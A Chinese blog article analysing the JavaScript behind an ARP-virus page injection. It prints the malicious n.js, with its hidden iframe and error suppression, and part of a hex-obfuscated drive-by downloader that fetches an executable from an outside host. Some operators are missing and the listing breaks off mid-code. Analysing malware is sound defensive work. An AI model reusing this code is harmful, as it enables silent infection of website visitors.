分析：arp病毒利用的Javascript技术

本文的目的是探讨JS相关技术，并不是以杀毒为主要目的，杀毒只是为讲解一些JS做铺垫的，呵呵，文章有点长，倒杯咖啡或者清茶慢慢看，学习切勿急躁！

最近公司的网络中了这两天闹的很欢的ARP病毒，导致大家都无法上网，给工作带来了很大的不方便，在这里写下杀毒的过程，希望对大家能有帮助！

现象：

打开部分网页显示为乱码，好像是随机的行为，但是看似又不是，因为它一直在监视msn.com，呵呵，可能和微软有仇吧，继续查看源代码，发现头部有一个js文件链接----<script src=http://9-6.in/n.js></script>；

来源：

经过一番网络搜索，发现这个域名是印度域名，而IP地址却是美国的，而且域名的注册日期是7月25日，看来一切都是预谋好了的，还是不管这个了，先解决问题吧；

分析：

1、先把（http://9-6.in/n.js）这个JS文件下载下来，代码如下：

document.writeln("<script>window.onerror=function(){return true;}<\/script>");
document.writeln("<script src=\"http:\/\/9-6.in\/S368\/NewJs2.js\"><\/script>");
document.writeln("<script>");
document.writeln("function StartRun(){");
document.writeln("var Then = new Date() ");
document.writeln("Then.setTime(Then.getTime() 24*60*60*1000)");
document.writeln("var cookieString = new String(document.cookie)");
document.writeln("var cookieHeader = \"Cookie1=\" ");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln("if (beginPosition != -1){ ");
document.writeln("} else ");
document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\" Then.toGMTString() ");
document.writeln("document.write(\'<iframe width=0 height=0 src=\"http:\/\/9-6.IN\/s368\/T368.htm\"><\/iframe>\');");
document.writeln("}");
document.writeln("}");
document.writeln("StartRun();");
document.writeln("<\/script>")

其中第一句window.onerror=function(){return true;}就先把JS错误屏蔽掉，真够狠的，呵呵，不这样怎么隐藏自己呢，哈哈！然后还有个JS文件 http://9-6.in/S368/NewJs2.js，先继续往下看，找到StartRun();运行一个函数，函数的主要作用是写COOKIE，日期为保存一天，然后还用隐藏框架加载了一个文件（http://9-6.IN/s368/T368.htm），其余就没有什么特别的了；

2、下载（http://9-6.in/S368/NewJs2.js）这个文件，代码如下：

StrInfo = "\x3c\x73\x63\x72\x69\x70\x74\x3e\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x7b\x72\x65\x74\x75\x72\x6e \x74\x72\x75\x65\x3b\x7d\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e" "\n"
"\x3c\x73\x63\x72\x69\x70\x74\x3e" "\n"
" \x44\x5a\x3d\'\\\x78\x36\x38\\\x78\x37\x34\\\x78\x37\x34\\\x78\x37\x30\\\x78\x33\x41\\\x78\x32\x46\\\x78\x32\x46\\\x78\x33\x39\\\x78\x32\x44\\\x78\x33\x36\\\x78\x32\x45\\\x78\x36\x39\\\x78\x36\x45\\\x78\x32\x46\\\x78\x35\x33\\\x78\x33\x33\\\x78\x33\x36\\\x78\x33\x38\\\x78\x32\x46\\\x78\x35\x33\\\x78\x33\x33\\\x78\x33\x36\\\x78\x33\x38\\\x78\x32\x45\\\x78\x36\x35\\\x78\x37\x38\\\x78\x36\x35\'\x3b" "\n"
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" "\n"
"\x66\x75\x6e\x63\x74\x69\x6f\x6e \x47\x6e\x4d\x73\x28\x6e\x29 " "\n"
"\x7b " "\n"
" \x76\x61\x72 \x6e\x75\x6d\x62\x65\x72\x4d\x73 \x3d \x4d\x61\x74\x68\x2e\x72\x61\x6e\x64\x6f\x6d\x28\x29\x2a\x6e\x3b" "\n"
" \x72\x65\x74\x75\x72\x6e \'\\\x78\x37\x45\\\x78\x35\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x37\x30\'\x2b\x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x75\x6d\x62\x65\x72\x4d\x73\x29\x2b\'\\\x78\x32\x45\\\x78\x37\x34\\\x78\x36\x44\\\x78\x37\x30\'\x3b" "\n"
"\x7d " "\n"
" \x74\x72\x79 " "\n"
"\x7b" "\n"
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" "\n"
" \x76\x61\x72 \x42\x66\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\"\\\x78\x36\x46\\\x78\x36\x32\\\x78\x36\x41\\\x78\x36\x35\\\x78\x36\x33\\\x78\x37\x34\"\x29\x3b" "\n"
" \x42\x66\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\"\\\x78\x36\x33\\\x78\x36\x43\\\x78\x36\x31\\\x78\x37\x33\\\x78\x37\x33\\\x78\x36\x39\\\x78\x36\x34\"\x2c\"\\\x78\x36\x33\\\x78\x36\x43\\\x78\x37\x33\\\x78\x36\x39\\\x78\x36\x34\\\x78\x33\x41\\\x78\x34\x32\\\x78\x34\x34\\\x78\x33\x39\\\x78\x33\x36\\\x78\x34\x33\\\x78\x33\x35\\\x78\x33\x35\\\x78\x33\x36\\\x78\x32\x44\\\x78\x33\x36\\\x78\x33\x35\\\x78\x34\x31\\\x78\x33\x33\\\x78\x32\x44\\\x78\x33\x31\\\x78\x33\x31\\\x78\x34\x34\\\x78\x33\x30\\\x78\x32\x44\\\x78\x33\x39\\\x78\x33\x38\\\x78\x33\x33\\\x78\x34\x31\\\x78\x32\x44\\\x78\x33\x30\\\x78\x33\x30\\\x78\x34\x33\\\x78\x33\x30\\\x78\x33\x34\\\x78\x34\x36\\\x78\x34\x33\\\x78\x33\x32\\\x78\x33\x39\\\x78\x34\x35\\\x78\x33\x33\\\x78\x33\x36\"\x29\x3b" "\n"
" \x76\x61\x72 \x4b\x78\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x34\x44\\\x78\x36\x39\\\x78\x36\x33\\\x78\x37\x32\\\x78\x36\x46\\\x78\x37\x33\\\x78\x36\x46\\\x78\x36\x36\\\x78\x37\x34\\\x78\x32\x45\\\x78\x35\x38\"\x2b\"\\\x78\x34\x44\\\x78\x34\x43\\\x78\x34\x38\\\x78\x35\x34\\\x78\x35\x34\\\x78\x35\x30\"\x2c\"\"\x29\x3b" "\n"

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有